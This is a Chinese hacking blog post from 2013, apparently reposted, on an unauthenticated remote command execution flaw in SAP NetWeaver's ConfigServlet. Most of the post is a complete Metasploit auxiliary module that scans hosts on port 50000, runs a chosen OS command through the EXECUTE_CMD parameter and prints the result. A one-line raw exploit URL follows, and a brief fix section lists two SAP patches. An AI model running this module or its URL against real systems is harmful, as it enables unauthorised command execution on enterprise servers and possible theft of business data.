记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

SAP NETWEAVER 远程命令执行漏洞的利用与影响

2013-04-24 13:35
SAP NetWeaver 是基于专业标准的集成化应用平台,能够大幅度降低系统整合的复杂性。其组件包括门户、应用服务器、商务智能解决方案以及系统整合和数据整合技术。
 
EXP from:
http://packetstormsecurity.com/files/121355/sapconfigservlet-exec.rb.txt
 
 
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
 
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'SAP ConfigServlet OS command execution',
            'Description'     => %q{
                    This module allows execution of operating system commands through
                the SAP ConfigServlet without any authentication.
            },
            'Author'          =>
                [
                    'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
                    'Andras Kabai', # Metasploit module
                ],
            'License'         => MSF_LICENSE,
            'References'      =>
                [
                    [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
                ],
            'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
            ))
 
        register_options(
            [
                Opt::RPORT(50000),
                OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
                OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
                OptBool.new('SSL', [true, 'Use SSL', false])
            ], self.class)
    end
 
    def run_host(ip)
        begin
            print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
            res = send_request_cgi(
                {
                    'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
                    'method' => 'GET',
                })
            if !res or res.code != 200
                print_error("#{rhost}:#{rport} - Exploit failed.")
                return
            end
        rescue ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - Failed to connect to the server")
            return
        end
 
        if res.body.include?("Process created")
            print_good("#{rhost}:#{rport} - Exploited successfully\n")
            print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
            print_line("#{rhost}:#{rport} - Output: #{res.body}")
        else
            print_error("#{rhost}:#{rport} - Exploit failed.")
            vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        end
    end
end
 
测试方法:/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=[command] 
 


 
 
修复方案:

联系SAP专业厂家,已经发了补丁了
打如下两个补丁即可
SAP 1467771, 
SAP 1445998 
 

知识来源: www.2cto.com/Article/201304/205540.html

阅读:321904 | 评论:2 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“SAP NETWEAVER 远程命令执行漏洞的利用与影响”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云